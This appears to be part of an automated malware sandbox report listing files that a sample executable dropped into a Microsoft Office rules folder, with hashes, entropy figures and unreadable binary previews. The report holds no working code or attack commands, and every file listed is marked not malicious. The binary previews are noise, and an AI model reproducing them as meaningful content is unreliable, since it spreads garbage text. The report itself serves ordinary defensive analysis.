Preview:	<?xml[.....Q.9.%;/.}...:..[..}...mJ..u..f....6..nu\|.e=..........h..yEG...Q.:...P?(R=.6..+.K.........V..n./..)..X,......}ZA..${-j.M.....v5.h...NU....'Ib..&;....+...;..eA....N?.A...(?#.o{.f$..O....-.1M.......tu_P$.H...fsV.../......@..6..]..C..^........r.v4..vz../........L.>.7....G.Y.t.).s.f.A.V...u.,wm.-......]......9.....Q'ZM.gy....../.aR...0y6..s.(.7\|..&g..\|J?.1#?.%n...+......)\|....%.e3a.L+.itt.%........'.#.Sn11X.f....NN@......VG.A....u...=Q/"fHK.M...-tl&...Y.y.^.%.T....\|c.......U..0...S..Bf....#.[..'<6..f.Y..qj....[KA......B..9.jC......q<p.,...c.C.....\..O../...Z".=.kg...A'W..l.>..oS..}.5q,.bY...x."d.E.P........H+...k..@...*NwL'.f...~f..bq..c%...[....4k.+.X...>Cdg......u.+,...`.-.a...D\.I.q.U../.hb3.YQ.G.R..\,Z....~]f.......l..'#\|Y.....!`....R.S./...p..V.HS.S.d./.(A.c.r..cv...9...3ccN..8..Do..+9....LN.I..Oh..$..Q....0...9/.z.c....qc.F.$C...rH1.Zk\|...o....g\|.3.B...1..O8. ..F\|...U5..>..pu..<@....,mh.n..8`Z..tT.._.r$)..!\..)...\o..:.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.874439209714529
Encrypted:	false
SSDEEP:	48:/glVmnNzYPYpeUoYvxIViozPO4CDzXFuED:ooNUPCxIVUbD7FuQ
MD5:	6B0B67F7F93A9ED0D576A2A448C5BBEE
SHA1:	A056878AB73E2F6C358E0902A105D1349221433E
SHA-256:	9419B699AB7FD52FA6D28C0FEC4ABCB5DB6535D2C5C7A110AD30AB779F3910D2
SHA-512:	E1331623CE1470068478B10FFD4A870DD8AE7B4C0CF6FAFDB76718AFE9D2BFE4805666EFC676D1BF7997D2534B9D97DB098B18797B2E84A32BC61EE7905E8E73
Malicious:	false
Preview:	<?xmlW.X.V3>^.^.j.2..n.\|..</.q......r'<...u......K.U....5...h...{N.@..n.q.!<.....Y..0.E.I(.q....>..Al.1.....w..9!..Z.~..1x.8.+.G.J...[64.x...p..\...\|..F..Z.G.\|.h.}P.o.7.J.+x.,..\|d..r.B.&.[O......x..VE0...u..&h..z.'_....,.....U...$nnAvV............GwL.% a..F.3..{.L..._.I..p....'...o.8....".......3.4.......d..y...[.q.aY)....cU.W.....i.Usun.u..,..q^u2.J9k....M..u.....$`...>.{..........z.F`..7u.z..W[>L........v.e.....b....5..d.z..j..8.i...}\...t..y..5.dz@+...%.j......F..k.^..H.5...j....4:".e.>..l..B.....<8..v...k..&>+..........y........L...9...L..,Q.K.B..e.;..n....-wO..........l.y@Z>v.....y..jB.\|.QX."".%...l......e....xC...rM........Uk:p...&..=..*%H.........3r.\|$..{.K.l......b..[.8qJYMG...geOM.d....`.qt....Eh.vNo63...F.fY?A...o....gHq..p:.Ux\Ous. ....D....-.A..j.D...x8....E.Y..Sv.iY.Q.........^6.t...u.U{. w...%........F./......V.....m..5.tT.....!]l......E.?.?.1...........3..#......&.d.0.2...II.8...}..g....F........8.+.;....,.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.895848808833101
Encrypted:	false
SSDEEP:	24:a5voPBZfEUFW3/UJOQvPY8+FwhZmloJbTYo5U3zjbdchPVaVh+CY1GCBPLouXq8X:aa5Zy8XDPZY+2fbdchPVqYYMouXFuED
MD5:	DFD075ADA66D8E679114440E3E65D735
SHA1:	BA60A84703203B16A95897A325AC3FA6754FD213
SHA-256:	77B08CDDD7562EFF8F5F68966B7E2963152C6B046F227453205E978CD2CD8865
SHA-512:	7243F68E43A8910959026A52C7F9F37902F7B4B675FC6FCC1A821862F988028E483ADC2E5F4DB5555E6CEB3E2C55E60E46BE2BCB8A08B279BD33A421366D76F0
Malicious:	false
Preview:	<?xml.@\|.zb..!........&.=.......!......J..T.2G..4T..<.Y....6.].yY){D...S?%.&h.:.>...F...b...n.[_....{...........e....y.h..z.....o{h.......IRk).....f.....'..A->m.....0..x.kA.......d...-...c`.?.K.pb@.F..&.:..aK...H+U."d..C.^.....O..g\.F.......{,....w....Y#Z<....:!.T..._...E.[.r....T..%_Q>.U..9g.M..%......4a..d.}.Nb"X...*+..~...ju.0D<J..K...v"...U\|...-9@......uB..!.....t..m.KH...m.P........,......P.s.!......<C+N......:I..N,....h.hS..o......g.f.......!...g.9.prplg..L........kM....E.y.$BxE.)4..G'.A..B`u.....U..C.[........O...$...{..fY.m..W...H+=.3......e.8.j..h.&3....s.iv.J....5o....xA.g.u..V.<.%,.....~......0....^.tJ(v.\|...HL..X....<...<..........y`I..U,x.V..c.lU_.CV...Mi......F\|.]W...3.J...=....@..#../...eU.....jr B..mil.f.._..:k.)..s..{.-...=~#a.C..X]jc..iQOlu....A...-_>T..H.Z...H.&..5x5[.h...e..Q../ZN..dCo7~.;..H...B.....$..\|._...q(....Z...i~1[.^i......r#$.X..M.(.`S...._...c..M.....$.....g...JQ.8.(D$..y.C..k.1k@..D.,..p9\..s....P#...Y.D...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.899586993802837
Encrypted:	false
SSDEEP:	48:ysvjePEWGFvKyIrl16Tw2IYczSIUMPQu5ezXFuED:ysvjuWgZZ1mizG5h7FuQ
MD5:	E123CC7E1045904D1F20734DAAF096A1
SHA1:	B7D63A858C6C156DFBF6CAED20EF6C062D50AC6C
SHA-256:	5553FC8B279DB444E6699FFAC3F58DE281AF74B7AFD5DF5412C01A450D5A0928
SHA-512:	9D600846EA8796DD8DB5AD7D9BCC039A36CD7F8261A3A6B69CA7AA41E99C1B5619835F33A363AF5AE55AB887953A7A951C06A18333E59531C1445B8D70CA69E0
Malicious:	false
Preview:	<?xml.fD..zz....n..P#+..eS.q.8s...z.....B.q.V .G.VH.....@...8p....q.......E..V2K....[.. .$i..q.&.i]5m#...5.......wC.;...>.K.l...PL.2......T.8..T..V....gn..r....~..bs.....H.q+`....gC..n....+../.7.E.:.b;......._=.P.N:...@.G..?..:.x.M.K*..G....B.+......5.M.....e.-...(.Q ...kl./Z..}.>..D...GG.yxE.'.M.....R...%I..B".px.....#....;<.%..oyQhC.V..6..9.~....$^I...L.2H ...{.....(.Tu.d....s...?..H........<.M.\.Wb....$._..;^E3.....?s.#@.g..=......Hj../~...H......M.C:......$ ......@.`.w..y?T.{...{.83...>O.^q..b.%S...{...".....z..X..J.e.......e..p........1.S.t.kC2}j.7...[_G.]J.%.L.^.-'Y}fw..@.&....V..@.>..a..`...Y....'..K.=...?...L..hW..e........p.kp.....@...(r.x..........1bG.I.. k.V....&..;...xI$.....a.l...\|.C.J..n..\..&..-2D.E.u.1....HJ..?g.+\.e....K..VM.L..q...N-./J.N..W\...]..#..m..A.......s....p..r.2..E....RQ%C....m../r...(.w....L...,..T.h.K8....A.MF.G.H.KA..{"..L..Y/.#t.B.....R-R..ZqLG..5..Qu&#0.\.9...1n.fT.~..,J...+.G..B..N.%Z....:.k.T.v.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.870660947614674
Encrypted:	false
SSDEEP:	48:wJTNhnp4/w0eJc5imHBnOIWGLoeW5/NQxppc/AXFuED:wvVVrJ+BBNWGLLk/kuWFuQ
MD5:	C0307326EEB08E7B410D84056841B6D9
SHA1:	01839F756C3DDC5F8F3780EFBFA56DFDFCB97068
SHA-256:	5756A2AB46FDD4812EE7B3DC119774403F737A40955905E4A8904C5AA21CD35B
SHA-512:	F17DF8E9E5992DF16CE01F45E43111970A491D6C77A280B4B4F51A827D4428BDB7CD2578ED14509D639A54769A9C2014F5E59E0200F24F2C64E5E330760ED861
Malicious:	false
Preview:	<?xml.....C6.....\|,F......Q0M.d.Y....':C.w.......U..\............:..p......."]\|.mU_.y.:V^h9....PcO..K.g.r6...z.:..!PC+y.q.S..U..D.K!q..>&..[17..R...hUE...uM.".._.............<....l.Z\|...qbz.~n.....pI9.[..-.........Rg +k-..y.*j..~.d.wy~.c~Z.....&.zQEH.?.2.N....Q...k.`2AzW.S..h..c..]...5.Q....zG.8.......R..49..OA..a...W..?i}H...<.s.O...W...-^).@E.~...(..t.....1..G......g.7...p..N...Hx.F...o.0...2YD..Z..../.f..8...)0.....E.......R/...Lr....H./AR.#.=\p.=gHk`Q.....xA....(oT..k.4'..~....e......@.....-D9.('.f.g#+k+.f.'.)}...O..w\...jn......Y.k4 T.m..+.SDOPi..&..-.h.Y.L....K...`.A\..P.c^z.kB_.>Fz...f.wpe..i..Z..ZF..F.......$.lS..8.KW......_....FSw.P.N.3o...........8...B<.vT>a.w.n.g......48a.."..-.1e.,x..C.......T.....9......oS.<w+a.+gFv.....p.X....o"+R.{S.1..h6%$qa....3@=b......K...}.SjV+f...^sW.. ..O+.4...v.;@..1._k..Pu......#..p.n'._..IZ..K...>.g..^........G..}.......&.h.n@...i..xORO...d..}.h.../.B'X..z...\|...{..s...[.../;J8 ..../v..`z

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.899006603422009
Encrypted:	false
SSDEEP:	48:RH9jb11viUStjT/SAH5qbsUYk9lPZ5tRaXFuED:R9PcP/SAZijzRQFuQ
MD5:	72542C325B78DB19BD9D1DB6F25BD31C
SHA1:	CB2FB82173E1D559B9A685C8A76D9CEB36098A8E
SHA-256:	705DC7C7837BFEF9D2C36B5E417C3967400FAE9EB279781E4E2E3C22B9D50DB4
SHA-512:	4F2052981A1916729C4E2BFAA34D11E92BF1064088FECAE0FB7BD1210173428D1B0BF4EB87CC8FF2CBF1710F072CC643005DFA833E617D8ED046653AD39E53CB
Malicious:	false
Preview:	<?xml."!.<.$.D).M#...=R'..k...e..YW..G.4S".dcOz.C_..N..;..i..O....Q~..gk....r.~..s.q....hx...z....V....<..5..K.....I.......N.s/..%.#3#.l..N..w....q.......E....AL.....C+..T.v=v...Upv$....by:.q(.q...q...x}.C..V\...T.0.c.!>.O(........@"\.{MtC1.l..K...9...o..r......._E.....~e..nm.X.'h....g\|wE{J.<m....n....80.u...Ci.h.Q.x.xs....w....?][`...............Tg&.... .8Z.y.........]K....?xP.X.s..L../....).....5.x.1$....I;..3...........H...D/&[;.^.j...4....f.@f..........g3\|9....Oo.sF.R.F8.H...9.&...[..k.e8..."....Y.\|R.P.S{G3...d.MMW...\..."r..)........T/....`J...za.KM........!....AVdg....y.....=.uc{&.`.b.3....Y!.!e.\|.x.>.&...........W.I.h..5...b.R.e..+....E........"iWv....Z.K..\....g.Njo..!.[o...D.b.....$.._.K.5....@k^.........t...a.. ..p....k.x.p..W.%D..}..<.1(H..%......$y..}.~...*.....g<.U.............`......dV.m...9.)=vs.X1..2../B<....N\e.%..j....2i....W.G.rc....EChO~]...wN...1og.l...B.. .y...2kc.(.....g.}..y.T....o..)h...;.X6...i......'.p.v.n6#.....Z?

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.883890035458203
Encrypted:	false
SSDEEP:	48:78zdEQZRFV4WGaZ4z5XV+KXB2zpBeC+RkcztnFi1WtqBkeXFuED:78zbbV4Dh9HR2z3eOcTi4tqm8FuQ
MD5:	F95658319616D1DF0D0064A641328B54
SHA1:	BFDBF89B20A7D0672F1177897F5F3C7951A08B3D
SHA-256:	75FDBD7C5A648299854A0E11054CCFA3E583AD5692BFC04A04CEF77EC8E769DE
SHA-512:	9E8A57829F2DEFF854232427A315DFC7B703A180CDBDBBAD877F15250C9058B24B06DF201A3F9FE419E95130BBD2C33B2B7ADEDD35E26AC576A850041B8A784C
Malicious:	false
Preview:	<?xml.ZB.........k.W....uv,...'...REF..w..<.5<.H...`0.F}e..&Q.D..HBe2...E..:..3..o._...)..c@"..5@6.:...X.].....y..=....O...}Ny.E...h..e'...LN..?m...1.n...d....2......t&Z..O....J.6h....l.F.quL........F.G]....r....L...h.\.......I_..@..-..z.R.....l.p0.b.. Wa........,.3gf.......GzQM..(....fr:.5FiQ.Y.Wl=~.y.X.w...d.<..u....4....'........dM......>X]..=.H...0.G.{..T..R.).w`!...9'.(w.....3..?..a...!...o./x...+...}]...>.-L..Fs..=.^.G...E.u...a.....~6.Ws......k.u.....P."........mi.._..R......2..v.Q....:e...P.......%1......nf.~ySy.@.z..h3...V.{....}....`h.a.7...G....^V.......0d.u.9.$...GW./xp..1.6..2..?_.U.iT..oDC..~.S.zE..L7c..$.k.}.{.Z...~.3.I+..S.%wN..}.Q.....C.S).Hh.u.h2..l.A.T$..;..<.....<..bX.!..J..s5.aJ^h.....8cL/.&C...1B..%....Y~..8$.._(..".M.l.fP..oF.;.j...J..!kn..\|.[C....)..`....p.O.7..B......`.].*.....p...)!........Z.?x.....O..6....(.cfA..,...+....g..j...W..Bu.5(.3..L[b...8.......'.h.5..s`.It..O.....VgX;...(,..9.Lx.'."[v..4..C/Z.A.@...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.90334488127523
Encrypted:	false
SSDEEP:	48:GrMeBcduBIlYPHJEbFyLyMMZr68PledrU+fcZCTXFuED:kzrIlYubFyeMcr68diU+fcZyFuQ
MD5:	75DAFC4A7AB5548A808B89B5DF4488D7
SHA1:	6E9E4968127AE685AD90B6BE53AFA13D86E6053B
SHA-256:	B1DB447A761103DB999348ECE7F9DCEC15A2140290AF86469B67A60324A7D1F9
SHA-512:	9072C36D8FA01E8D47E810E7221C352903C4C77E514CE192384CAEF4C7722CE7B085A7902F28A78EA440FBDCDC7517C224421A7AD65A149EB7C86091DCBC7873
Malicious:	false
Preview:	<?xmleE....}^.......X..x.m.(Ye....s....;.;i.e"\..a...%7.<.1}..4R...~t..:"!P..AC...!...>.4.A.....w0...9a..8..q .U3.B.aQL.m"....P?......p.f....b.L'8....-.q{.g.J..H...p2+\.?W...w..$..a!.`.J..g..O..l...bP...k...P9..<wK!.d....n......0a..q........u......_..y./D. $..a.......a.../Y...EOo.......$.M.z.....i.l...,T.....G1.V..#...6....y3...}....\|.nz..G:..C....H....a..y....6q.....}!...;..,.Ry.1K........><i6.d..Yi.v.o..F..8..4+6.<._..d......3..........Lz.,...z..$.......P........@q\|...kr.m...b\..m..<....b..".2;.F<.M\3.0.0\.>^.*[.jA.A.....R3..Yd..{A'.F..Z)+.....PBS..S..".u.N.q._g.o.w.......H7..z.$......E.W..^...&M2W....Wx....."Yn.Q...T....`Qj.4.T.V.o...X....o.6..BH..&..Vg.....e,..P;Z....m...].G.F..W8....W..`y....=...0G...,.h./...9S..PG...!.HLlGF.}[t.?..b..i..O.S..O~\.\|!\|'.cO.Y4]\|F....%..O.....p..7.}M..Eo..m....e.y+U..X....~.p6..8...<..y....+..<..q...U.z.....#...2-..........z...k1.........Y\.4.......Q^...4.96z..[.w..\.t"@..._...c....P..Z..........xW..CV.Q.d.2"...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.894603154455432
Encrypted:	false
SSDEEP:	48:qw40pYab8F3qgmzytiJs2QaSJlQHRa42g5qL6L6KvD+2gpXFuED:q70pgByHJs2Qax9n57tr+r5FuQ
MD5:	C8936FF7F15FC0F83F3EC35E19BC8967
SHA1:	FD5EA70069DB0AF7DC26970AEFC64C9CC36D8648
SHA-256:	378F829A5DB3E543D7D309F7ED0EEC0087725D60E5A94D88F673C21FD2918417
SHA-512:	1462866880B037D800E9F3EB8CC791A8304B99B075E30B17CFD3FC542E8B1EF085F6B8351519AEC5869DA8A57A5484D052F8BD5E144E74FC583E473099BABB1E
Malicious:	false
Preview:	<?xml.r.&...7._[u.d$5t.i[.k.........b.`.....X2.."....Tp/..aZ......F.......Z../.cH..^%@p5.l...W7Ek..LF..q.#\|....6.Q..".,.y....w$....V...sC.n.Q..).jV...g..B...fh.E..0{o..<...(....^!..1h..2..p.<u<..Z.;0.......A.T.R.FT..L..F.C...j..r..!.%Y.w...0..K...V.]...w...(.yzn...k..EzT....LX..._7....=..:..%E..g`D...Q.,\|..,.<jo.jY.....Sg$p.F\..1l?.."X...z..G.D.L.SN5.....^.....u...&...R. y....Y.(.h....68.="..5.$.R:..99.......h.....y...<.< ..Rv.h5..,......D.)[.J.[..h..?....3...AI.....l..vB.J......c.C)k^....9.U-.q .....\..K21c......m.,.67":......?..d...N....9...:.<a...$CSO..).....'-.~..N.{.>...pb......W.......PZtqW......>t.}.\|.... =;....)j,..)....5..b..e.....mV...R....ng.e..z.............~...h...G!.....z.....9..R...P...d...mn...;.C...\|.K...$...h...O..i}..D5s=.......z.............C.L.....#.\....sa..a..N[....../io.0...../...m...J^"..^.b.=Lh...?./.}K.l...........AB+..^.Y.&.[..=.WRc.=.h.Lr..7C.g....(..b..".+.".z.f....o.J#hH..U..<....p...*)....P.q........%..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8785894337453115
Encrypted:	false
SSDEEP:	48:AA1PnkJJQFcAfSCfuH6WdnIpUUjVUFrQ6+zXFuED:AIIJSVfSYuH6W1kUUjV0Q6gFuQ
MD5:	050D61494A7A54E3271119650888BB2A
SHA1:	016F176EA92C581A8B6FEE80CC8860C7FF1B0A22
SHA-256:	9431177E8ADFC9285CCCAF3B971C6EB0ABE6709F3818D5F6893A312D5407B11A
SHA-512:	EB2CB018D8D869578D3B98201DBB2A51AB6A5A0709E943EF4840168938F93069D8625C160D423E4D220CC52BBB15B8929F5608C66978A6AF61774D5227F59C69
Malicious:	false
Preview:	<?xmlz.\|x....$......$.....`N.X-..A.T7Q ...k..6.k.A....E8...._Nc...7..@.k{......bh..\|3.Z7iq.S.-...6.o.v....v[.5B...^..b..?. ...c.."k.....8.\a....@.\.$.....p~v.....\|F.....5...R%).<.....q=r..%E...s.. .4.J..( .w..We.a.\......03j.....h\|..Sf)H{.k..w1~.5D8.......i=9z.n.L.A..S..P6.;Q6a....IZ8...\.h.....[.n.2..........K=.G.r..~....F.....oK.7..htQ._..D.m...I..Ej.z.j...K.h...(.F.P.6...\|aV......L..B..jN....w.!P.}.D.g......K).......i[Ld=j.2.......C.]..b.@y]..T.[.'2H)...<.t..c.....Z......dt..wR....<GI.8.....]...i})....5c..M.G......~...9.i3X<)'....k....#......[KS.n7.WB./YXc.."..6.P..&\|.D.._J......)0.Fi.y.^n...Nd.~[..v.=...8up_ ...../si!...Ew... :...K...t..X..\|"d....r..\S...<E....NiM......H..0...N;....f.j.O.v^Q.F}.. ..].;A._.KP....i..n.....&..\w.T.).rn@+....K."..)7P.M....&+.l.GH....l..\.....v.....1/.#.@...U.t..EX.IZ.K....k..d.....E..i...LzZJ....... ......0k]....$I.;....0...{../....y.K.......].y.}...nM...uq..is.b..c..b..N......:....P..J....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.855798108676599
Encrypted:	false
SSDEEP:	48:ssaCZW5CJToCEcALuO+rT4cTldHSoPk/GmXXFuED:sHCmC5oCaLFUT4c3XoFuQ
MD5:	AC85EE40010BED6E04CEAA3DB4A142D5
SHA1:	6412E544267EE6831C6297926A619527753FDCE9
SHA-256:	9708E68CBD196818451239A2878A42A89F32C6CA11CD2BF61E911F243136AC2E
SHA-512:	2DDE7E04BD401A89E4364D7C8006F3E2C72379A0063070E929A731B553EEAC7D7FA52B81B01587B3711A1B231FD854D8B26EBEBCB042EFA016C347A5785B960E
Malicious:	false
Preview:	<?xml2....`..i..>.._...x..B {c:...Z..c.1.L....U.N..................t.$.'...O.38[....?.ImjH........,....se.$.f.......G~EP....9....'.y4..i..6.g'.....=!J...Ud..<.N...mO.....V.&..#.s.K.}Q..u..hs..[.[@.z.t..U......x..~x....oY...$./.s...l......"..........T...!.OP..[....`..'...;n...).zlb ..(.X3J.5m....It..te.Q...$fw.4k.......`I..n.?...l..N.UhQ70i.....\|.;Q..m...A.C..J.5.5..U}..T.X>.. .A...~C.......=`p......S.n..V.2..H.<.1+..VS..q...O.b.D...c..W....8...C.b.a.\8>.P<..S>.<...7.[..l.i...2._...=.i..%...=d....z..`,..m..l..UQ.C..aW...Bl.g..`zYq..J"u.tb.5...~.`...4I+[..`dm...'r}..{...e.....C../.Bx.D....?..\S......9.=>.........@.`..q.f==.zL.3nI"..<..>...;.f...%.d..o..`.6..H.....1....Sm......+.S.;.b?@5pt[#..k.......'b............N.Z..m..`...8....`.b.0...6...3.n..LT....KBd4...D..m&y..<..R.].R.._.....s..u.IUqtX.]...3E.....y.w...r.V.....^_..n.Rg....._.9...J.....(.1P4.W/4.*.....S..4S.(._.2<'.+..q.....B@t=v.bd..}....g...T..5e...,6r..51....:.'.\|.g...\......9.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.895036733659147
Encrypted:	false
SSDEEP:	48:JDQBAFivyoV5dyGsQbxWE6M6tfzEQC6yQXFuED:Wv3y/QwEH6tfzE/mFuQ
MD5:	31FCB3938E0817585EB716B9BC85E57D
SHA1:	28A624568E0525C2FFAD6BCF10F8BCE6FE5ECAFA
SHA-256:	CF62813969AD6D397B75DC0D4E159AD305E5B865A50EF92C0C02A17B8D05A8B7
SHA-512:	BEE6D2723535DB002AC92F411C742A37FFA4B96615A1FB060B74192D135B34CAA89C0336B280FE08E01223839C1E0063231908C05587C4AB1751B044272C02E9
Malicious:	false
Preview:	<?xmlO$.F..L....`Q0t...]=....\..qwlW.D..K@...%.$..mz.....P........}..7...Ug..rH..<i......E.0.....q...>.vQ&..?j..^........`K~...d\|....].CL....>L..$>......$.>.3.....Uep..um.2.Q(.+v...;X..&...x..+.^P`.\|.k.p...F...t..H...;...Y...5...-Lwg..$.....]...s.O....I.=..sT}..w.2%....q..N.G.5.+..y2=t.#V@.d..5F..~4bW...Eo^..{A......2....V..@.'.7.m.!...@.z../..v..:.?M...h.9.,......<Z../.=lf.o..Yr...\|...]IS..(d.....x.Q...z7.2Fv[....8.R.ef..}..h{3..k..6.IuV\.T.U.../.S;.t..5...{.u.L.e...'...#......Nc.]..M&I..C(..p....3...nB...2~"D.s...2.ls.!.:...........Z..5c....rN..h$.F..Um.b...0.7NsD..w...:x.7..'..S.&..M..M.hn.0iC.....Zt...e..X.w..s..F..6.....u...?...;Z.........%U@.!...r.C.A....9...X.l>..1..h..fF..R...-.R....h......1...[MV..D..p8<H..Q..>\.Hj:...N.(...w.p..i..65Y..."<..!....O.B.cs....yO.u...]....5M.B.S.".W.u....s........x.D<#.2.l..<...)...p.C.~SR$..k>.D#......'..7.....*6[..kN:J.<...........3..4..G.5(R...9.m.N. .G.k.`..G......KVAz.?...k...B........}x..q...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.903211365407952
Encrypted:	false
SSDEEP:	24:DeWBd5gW+2+3hvwhBQnxeF7L3pJRuZUZTGP5yTZYm/cWgfFiiZGqXq8uWbD:DSWz+3EBzVL3pJK5qOm/cWgEikqXFuED
MD5:	E8F0515998DCF208604CD0AAD195AEB1
SHA1:	E69C2450D14FF8BC815D0D91972A3BB497610ACD
SHA-256:	6571B949ADDD71452BD1F35344049AEC4163177318752889EF0D01E353CC28CE
SHA-512:	C6E666A5557D50341CBA7C7A49B38B7E74FF1E1EAEA33687E9D90B07767BC5373C33F87BD210E11E604F1DB3B57D1F7DFC32D9D53698015A2E384A856C257851
Malicious:	false
Preview:	<?xml{.7..]..E\|)....M.t..m........i.Z...4.M.%.):....8...y..i.3.:..{.....,U...(zv.(.X./!.t....!.b.U...m._7.sH....D_v7K..:^5U..&.nb....$.H.3;.CR..qA......l'6.S..C..N>7..I.$W....).w...l:...L...O!.'%b..d6%I...h.-.......d..f(.60.<.....HNM.........ou..2...@......'W....0.....s..F..`,.x.0....'.@.H8U.0.~=...6.M.b..d.y.#.\.....r....O......./bH.j.f.;...-.k..Y....2n....;.?..K+...g.....:t.h..,m.yPj)?.z....Q..A.........r...\.]Y....X6.<;...>.KmXyN....w.r.....n$.KRHq..K5."..M..Q..\...J.`..5.....&......I.!-:.j9j_.2}V.....c}........,..rA.k...4z..p(...QN...>."....M.x.......4.v.....Pr..a.L D!...3z....e>.\L."i8....~;...P!.q..F.L.K....U...ha...#...7.x.,S@.& w.y......4`Y.I..._...I!a.".L.........tO.-......Y.{.........>....x$E.a=...i.....M..x...._\...V..kK.s.o.yJ.t.>..C......P.....^.)..Q@.....ZJ...t..TO...1...........+.....B..6.b?.:)}B.....7.. .&V+...l.e...3U/.A.]..*.#....w.H..C..t.k /M.Q.....> ....Y.B1..'b.........y.c.;...6...I.[...-...p.{.Bg8ee.=. .....&C.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.892350578563958
Encrypted:	false
SSDEEP:	48:3Gd+vrbuYlAFT9ZXiY8NIMgcfFA2mQXFuED:fvJAH5oNIPc3mmFuQ
MD5:	228CEE7EEC9ED5556218F925254F57DE
SHA1:	DCDAB3FD15DFA589E9D0565CEE98BE390CEFB048
SHA-256:	437360981872B144E4FCBF57667854BA085FBFDD6C8D9456BF22C9C23FBEF491
SHA-512:	330950BF218C220DD76D1C776495BE8C56FC4E18EEEC2F9EAA6BBAD07DFD58ED17D84525A1655CAA089C234D20373C95BD5D197EE1788BA0C6D285BEC64C00D2
Malicious:	false
Preview:	<?xml.J.).9ob.r.R...,..0.B...z.x....A......lX...3...:....1...=..o.t......).?3......j........"...%.'x.v.....82...SbQ.3. ).a..&....Z.R .7>..m....xW...c-......j..j.C.u..=........(%b......O......eIB1/^.....2<.......l..d..h....k...3.?.K.......X...{.@A#[..&.Q.:9..x.h.Xs ...T..n..e.}Sb..@]..lLw.\0...N-...<....?.5...[...U......8.\|3.5Q....i./..y....[..}.N..a"...%\|...Y....T8...P:H,V.....p.z:H0....Y..0.....O..>.k....k\|.<.s.wX..S.=.6..i.+..v.....M.`~ ..2o.?..'.M.S5h<....~..$.W.^X.S..(........=...E...qL.m.E.r.&P..\|.~.N$2......O...b.F.(.._..i...L..TH".ps.,.%..C.F.....]./..-....`NS.k&2...C..3.......}...(....8.B>............\.....Tm...G..x...p<3.1........\|!..l....p...Yw....1N.!.R.n.d.Y..L.,...vfL.d.$...g....`.[@>wv.....f..u.7b\|-.n+P.D...r....C....wkX[.L...OjA..I.....M.#pI..2.).`\|.De...).5.T........]m..........0(.h8J........./]6S...D.g$.;&;#..:....3.z.?.g.....ZJE3.I.I.d.K...b{.%^...p].B.gP.`.[.xi.,.}0O.T...g..J.....t.)...C(...@....A..\....M0...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.869657505006834
Encrypted:	false
SSDEEP:	48:26Mnl8YrujUt6d7WMBAC44T+7O8eJHoVPyFXwsSVo8SXFuED:26Ml8YrAUgd6pz4QzYoVqYVkFuQ
MD5:	308219F5AB366400FFB1E15C82FA673A
SHA1:	4B49DF04EFFEEF1559212B1FAA58459C7A86A99E
SHA-256:	73B7425AACE56A0107C1AE3E8904C393D78AD7C58DA998164CC10B94CC0248F9
SHA-512:	072C915006901940006BC7769B6BD95368F4BD3F62823ACE226F08E6336CE612140F660198422F296B43C02368DF80F05D2355123220561115CA51FCE652EEB7
Malicious:	false
